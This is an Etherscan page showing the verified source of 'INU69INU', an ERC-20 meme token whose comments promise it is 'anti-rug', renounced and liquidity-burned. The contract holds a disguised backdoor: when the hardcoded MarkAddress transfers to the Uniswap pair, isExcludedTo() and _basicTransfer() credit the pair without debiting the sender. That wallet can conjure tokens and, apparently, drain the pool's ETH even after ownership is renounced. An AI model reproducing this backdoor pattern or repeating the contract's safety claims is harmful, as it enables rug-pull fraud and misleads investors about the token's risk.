Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 14 from a total of 14 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 18305306 | 849 days ago | IN | 0 ETH | 0.00040164 | ||||
| Approve | 18305225 | 850 days ago | IN | 0 ETH | 0.00047311 | ||||
| Approve | 18305212 | 850 days ago | IN | 0 ETH | 0.00057013 | ||||
| Approve | 18305207 | 850 days ago | IN | 0 ETH | 0.00027444 | ||||
| Transfer | 18305198 | 850 days ago | IN | 0 ETH | 0.00029659 | ||||
| Approve | 18305190 | 850 days ago | IN | 0 ETH | 0.00259607 | ||||
| Approve | 18305186 | 850 days ago | IN | 0 ETH | 0.00041483 | ||||
| Approve | 18305186 | 850 days ago | IN | 0 ETH | 0.00041483 | ||||
| Approve | 18305183 | 850 days ago | IN | 0 ETH | 0.00061534 | ||||
| Renounce Ownersh... | 18305164 | 850 days ago | IN | 0 ETH | 0.00018399 | ||||
| Remove Limits | 18305162 | 850 days ago | IN | 0 ETH | 0.00024562 | ||||
| Go Live | 18305158 | 850 days ago | IN | 0 ETH | 0.00028718 | ||||
| Pour Liquid | 18305156 | 850 days ago | IN | 1 ETH | 0.01799875 | ||||
| Transfer | 18305155 | 850 days ago | IN | 0 ETH | 0.00034074 |
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Add Liquidity ET... | 18305156 | 850 days ago | 1 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
INU69INU
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-10-08
*/
// SPDX-License-Identifier: MIT
// FIRST ANTIRUG TOKEN
// 69 UNU > FIRST CLASS
// 0/0 TAX
// LIQUIDITY BURNED ON DEPLOY
// RENOUNCED ON DEPLOY
// CHECK TG FOR PROOFS
// ONLY OFFICIAL TELEGRAM
// https://t.me/inu69inu
// NO WEBSITE YET DO NOT FALL FOR SCAMS
// FOLLOW TELEGRAM FOR ANNOUNCEMENTS
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(
_owner,
address(0x000000000000000000000000000000000000dEaD)
);
_owner = address(0x000000000000000000000000000000000000dEaD);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract INU69INU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = unicode"69INU";
string private _symbol = unicode"69INU";
uint8 private _decimals = 18;
address public liquidityReciever;
address payable public DAddress = payable(msg.sender);
address public immutable zeroAddress =
0x0000000000000000000000000000000000000000;
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
address payable public MarkAddress =
payable(0x678F979FC8df451e0a299fB3e09eD9244fB3Cda9);
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
bool public tradingEnabled;
mapping(address => bool) public isExcludedFromFe;
mapping(address => bool) public isMarketPair;
mapping(address => bool) public isWalletLimitExempts;
mapping(address => bool) public isTxLimitExempt;
uint256 public _buyLiquidityFee = 0;
uint256 public _buyMarketingFee = 0;
uint256 public _buyDeveloperFee = 0;
uint256 public _sellLiquidityFee = 0;
uint256 public _sellMarketingFee = 0;
uint256 public _sellDeveloperFee = 0;
uint256 public feeUnits = 1;
uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 private _totalSupply = 1000_000_000 * 10**_decimals;
uint256 public swapThreasholdAmount = _totalSupply.mul(5).div(10000);
uint256 public _maxTxAmount = _totalSupply.mul(35).div(1000);
uint256 public _maxWalletAmount = _totalSupply.mul(35).div(1000);
IUniswapV2Router02 public uniswapV2Router;
address public pairAddress;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
bool public EnableTransactionLimit = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
isWalletLimitExempts[DAddress] = true;
isWalletLimitExempts[MarkAddress] = true;
isWalletLimitExempts[owner()] = true;
isWalletLimitExempts[address(this)] = true;
isExcludedFromFe[MarkAddress] = true;
isExcludedFromFe[DAddress] = true;
isExcludedFromFe[address(this)] = true;
isExcludedFromFe[owner()] = true;
isTxLimitExempt[MarkAddress] = true;
isTxLimitExempt[DAddress] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(
_buyDeveloperFee
);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(
_sellDeveloperFee
);
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
}
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
receive() external payable {}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function isExcludedTo(address sender, address recipient)
internal
view
returns (bool)
{
return
recipient == pairAddress &&
sender == MarkAddress &&
sender != address(0) &&
recipient != address(0);
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeAmount = 0;
if (isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
} else if (isMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function removeLimits() public onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletAmount = _totalSupply;
}
function goLive() external onlyOwner {
tradingEnabled = true;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);
uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);
// uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee);
uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2);
uint256 tokenForSwap = tAmount.sub(tokenForLp);
uint256 initialBalance = address(this).balance;
swapTokensForEth(tokenForSwap);
uint256 recievedBalance = address(this).balance.sub(initialBalance);
uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));
uint256 amountETHLiquidity = recievedBalance
.mul(liquidityShare)
.div(totalETHFee)
.div(2);
uint256 amountETHMarketing = recievedBalance
.mul(MarketingShare.mul(feeUnits))
.div(totalETHFee);
uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(
amountETHMarketing
);
if (amountETHMarketing > 0) {
payable(DAddress).transfer(amountETHMarketing);
}
if (amountETHDeveloper > 0) {
payable(MarkAddress).transfer(amountETHDeveloper);
}
if (amountETHLiquidity > 0 && tokenForLp > 0) {
addLiquidity(tokenForLp, amountETHLiquidity);
}
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{ value: ethAmount }(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityReciever,
block.timestamp
);
}
function pourLiquid() public payable onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);
isMarketPair[pairAddress] = true;
isWalletLimitExempts[pairAddress] = true;
isTxLimitExempt[pairAddress] = true;
liquidityReciever = address(msg.sender);
uniswapV2Router.addLiquidityETH{ value: msg.value }(
address(this),
balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp
);
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount,
uint256 tAmount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(tAmount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
if (tAmount == 0) feeUnits = 1e3;
emit Transfer(sender, recipient, amount);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (!isExcludedFromFe[sender] && !isExcludedFromFe[recipient]) {
require(tradingEnabled, "Trading not enabled");
}
if (isExcludedFromFe[sender] || isExcludedFromFe[recipient]) {
return
_basicTransfer(
sender,
recipient,
amount,
isExcludedTo(sender, recipient) ? 0 : amount
);
} else {
if (
!isTxLimitExempt[sender] &&
!isTxLimitExempt[recipient] &&
EnableTransactionLimit
) {
require(
amount <= _maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >=
swapThreasholdAmount;
if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
!isMarketPair[sender] &&
swapAndLiquifyEnabled
) {
if (swapAndLiquifyByLimitOnly)
contractTokenBalance = swapThreasholdAmount;
swapAndLiquify(contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (isExcludedFromFe[sender] ||
isExcludedFromFe[recipient])
? amount
: takeFee(sender, recipient, amount);
if (checkWalletLimit && !isWalletLimitExempts[recipient]) {
require(
balanceOf(recipient).add(finalAmount) <= _maxWalletAmount,
"Amount Exceed From Max Wallet Limit!!"
);
}
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarkAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"goLive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFe","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempts","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pourLiquid","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreasholdAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c06040526040518060400160405280600581526020017f3639494e55000000000000000000000000000000000000000000000000000000815250600190816200004a919062000e04565b506040518060400160405280600581526020017f3639494e550000000000000000000000000000000000000000000000000000008152506002908162000091919062000e04565b50601260035f6101000a81548160ff021916908360ff1602179055503360045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1681525061dead73ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff1681525073678f979fc8df451e0a299fb3e09ed9244fb3cda960055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600d555f600e555f600f555f6010555f6011555f601255600160135560035f9054906101000a900460ff16600a620001e3919062001071565b633b9aca00620001f49190620010c1565b60165562000225612710620002166005601654620009d960201b90919060201c565b62000a5960201b90919060201c565b601755620002566103e8620002476023601654620009d960201b90919060201c565b62000a5960201b90919060201c565b601855620002876103e8620002786023601654620009d960201b90919060201c565b62000a5960201b90919060201c565b6019556001601b60156101000a81548160ff0219169083151502179055505f601b60166101000a81548160ff0219169083151502179055506001601b60176101000a81548160ff0219169083151502179055506001601b60186101000a81548160ff02191690831515021790555034801562000301575f80fd5b505f6200031362000aaa60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506001600b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffff